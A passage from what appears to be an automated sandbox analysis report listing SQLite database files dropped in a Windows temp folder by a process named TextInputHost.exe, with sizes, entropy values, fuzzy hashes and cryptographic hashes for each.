Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tdYMDQrs9K

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trrtznKhYL

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ty3babIfy4

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u7awzCAV0o

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uDpxgxrZI6

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uRFZRWbp9k

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uVPslofdTg

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w02E7eO0KL

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w4TMyU8sE7

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wHZPRiFlKt

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wMysjty8n7

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wxTJrWCgzU

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x0SAY9r8Ee

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x7gt18Idho

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xFiggACKWT

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xKZ7A2tBVB

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xUCzLC3iO6

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xV3IB57SHc

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\y2RwREJ3mg

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\y5SyuvSNFh

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yVT1HsoDpY

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yhnFCIdCZ4

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zGd47QDxBt

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zGlNgeqKDy

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zVzSL1lM3u

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zWg18bMeIw

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zm2YjWOmRP

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
